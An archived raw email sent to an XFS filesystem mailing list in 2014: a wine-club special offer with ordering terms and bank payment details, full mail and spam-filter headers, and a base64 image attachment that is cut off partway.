From wine-specials@media-namibia.com Sat Feb 1 02:52:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE, HTML_MIME_NO_HTML_TAG,MIME_HTML_ONLY,RCVD_NUMERIC_HELO autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A9F027F53 for ; Sat, 1 Feb 2014 02:52:06 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 97DD48F8052 for ; Sat, 1 Feb 2014 00:52:03 -0800 (PST) X-ASG-Debug-ID: 1391244712-04cbb00c28709d0001-NocioJ Received: from www102.nur4.host-h.net (www102.nur4.host-h.net [213.133.104.102]) by cuda.sgi.com with ESMTP id MjUg9fDmDWaHOGS6 (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Sat, 01 Feb 2014 00:51:53 -0800 (PST) X-Barracuda-Envelope-From: wine-specials@media-namibia.com X-Barracuda-Apparent-Source-IP: 213.133.104.102 Received: from [41.198.16.214] (helo=41.198.16.214) by www102.nur4.host-h.net with esmtpa (Exim 4.80) (envelope-from ) id 1W9WIh-0005Nq-D8 for xfs@oss.sgi.com; Sat, 01 Feb 2014 09:51:52 +0100 MIME-Version: 1.0 From: "Wine Specials" Reply-To: barrydevries@mweb.co.za To: xfs@oss.sgi.com Subject: Early Year Wine Special Content-Type: multipart/related; type="text/html"; boundary="----=_NextPart_001_0579_5A3B3665.64C95A64" X-ASG-Orig-Subj: Early Year Wine Special X-Mailer: SmartSend.2.0.127 Date: Sat, 1 Feb 2014 10:51:37 +0200 Message-ID: <62321969999682328218967@Henri-PC> X-Authenticated-Sender: wine-specials@media-namibia.com X-Virus-Scanned: Clear (ClamAV 0.97.8/18422/Sat Feb 1 03:02:30 2014) X-Barracuda-Connect: www102.nur4.host-h.net[213.133.104.102] X-Barracuda-Start-Time: 1391244713 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.31 X-Barracuda-Spam-Status: No, SCORE=2.31 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=EXTRA_MPART_TYPE, HTML_MESSAGE, HTML_MIME_NO_HTML_TAG, MIME_HTML_ONLY, RCVD_NUMERIC_HELO, RCVD_NUMERIC_HELO_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144712 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 EXTRA_MPART_TYPE Header has extraneous Content-type:...type= entry 0.00 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 1.05 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag 1.25 RCVD_NUMERIC_HELO_2 Received: contains an IP address used for HELO ------=_NextPart_001_0579_5A3B3665.64C95A64 Content-Type: text/html; charset="windows-1252" Content-Transfer-Encoding: quoted-printable

Dear Wine Friends<=3Fxml:namespace prefix =3D o ns = =3D "urn:schemas-microsoft-com:office:office" /><= /P>

 

Here=92s the = first wine special for 2014! As in the past =96 we can order the wines

for all interested friends who has sent their order= , and proof of payment to us before

Friday 31 January to both barrydevries@mweb.co.za= and wine@media-namibia.com

 

We can only accommodate full cases <= B>=96 12 bottles per case.

 

Here=92s our = banking details again:

 

Bank:       &nbs= p;            &= nbsp;           &nbs= p;      Nedbank ( South Africa )

Account Name:      &n= bsp;            &nbs= p;    Tamasa Trading 205cc

Account Number:      =             &nb= sp; 147 00 66 335

Branch Code:      &nb= sp;            =        147 005 <= /o:p>

Amount:       &n= bsp;            = ;             &= nbsp; N$475 per case ordered<= /B>

Referenc= e:            &= nbsp;            &nb= sp;    Your Name & Surname =96<= /I> NNB =96 PLEASE fill this in

 

What can we order for you=3F<= /B>

 

Best wishes

 

Mynard

3D""

3D""

------=_NextPart_001_0579_5A3B3665.64C95A64 Content-Type: image/jpeg; name="wine special white.jpg" Content-Transfer-Encoding: base64 Content-ID: <5003206219-1> /9j/4AAQSkZJRgABAQEBLAEsAAD/4RD6RXhpZgAATU0AKgAAAAgABAE7AAIAAAAQAAAISodpAAQA AAABAAAIWpydAAEAAAAgAAAQ0uocAAcAAAgMAAAAPgAAAAAc6gAAAAgAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE1pbmlzdHlPZk1hZ2lj MQAABZADAAIAAAAUAAAQqJAEAAIAAAAUAAAQvJKRAAIAAAADNDQAAJKSAAIAAAADNDQAAOocAAcA AAgMAAAInAAAAAAc6gAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAADIwMTQ6MDE6MjQgMTI6MzU6NTIAMjAxNDowMToyNCAxMjozNTo1 MgAAAE0AaQBuAGkAcwB0AHkATwBmAE0AYQBnAGkAYwAxAAAA/+ELImh0dHA6Ly9ucy5hZG9iZS5j b20veGFwLzEuMC8APD94cGFja2V0IGJlZ2luPSfvu78nIGlkPSdXNU0wTXBDZWhpSHpyZVN6TlRj emtjOWQnPz4NCjx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iPjxyZGY6UkRGIHht bG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+PHJk ZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9InV1aWQ6ZmFmNWJkZDUtYmEzZC0xMWRhLWFkMzEtZDMz ZDc1MTgyZjFiIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iPjx4bXA6 Q3JlYXRlRGF0ZT4yMDE0LTAxLTI0VDEyOjM1OjUyLjQ0MDwveG1wOkNyZWF0ZURhdGU+PC9yZGY6 RGVzY3JpcHRpb24+PHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9InV1aWQ6ZmFmNWJkZDUtYmEz ZC0xMWRhLWFkMzEtZDMzZDc1MTgyZjFiIiB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2Vs ZW1lbnRzLzEuMS8iLz48cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0idXVpZDpmYWY1YmRkNS1i YTNkLTExZGEtYWQzMS1kMzNkNzUxODJmMWIiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMv ZWxlbWVudHMvMS4xLyI+PGRjOmNyZWF0b3I+PHJkZjpTZXEgeG1sbnM6cmRmPSJodHRwOi8vd3d3 LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj48cmRmOmxpPk1pbmlzdHlPZk1hZ2lj MTwvcmRmOmxpPjwvcmRmOlNlcT4NCgkJCTwvZGM6Y3JlYXRvcj48L3JkZjpEZXNjcmlwdGlvbj48 L3JkZjpSREY+PC94OnhtcG1ldGE+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDw/eHBhY2tldCBlbmQ9J3cnPz7/2wBDAAYEBQYFBAYGBQYHBwYI ChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcH BwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgo KCgoKCj/wAARCAMgAjYDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL /8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2Jy ggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWG h4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo 6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQD BAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRom JygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaX mJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6 /9oADAMBAAIRAxEAPwD6CmJ86Tk/eP8AOmZPqafN/rpP94/zplfmdRvmZ6K2DJ9TRk+pooqbsAyf U0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsA yfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKL sAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaK KLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPq aKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0Z PqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsAyfU0ZPqaKKLsByE56mihOtFb09hM0001JgZDIwLE8A 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 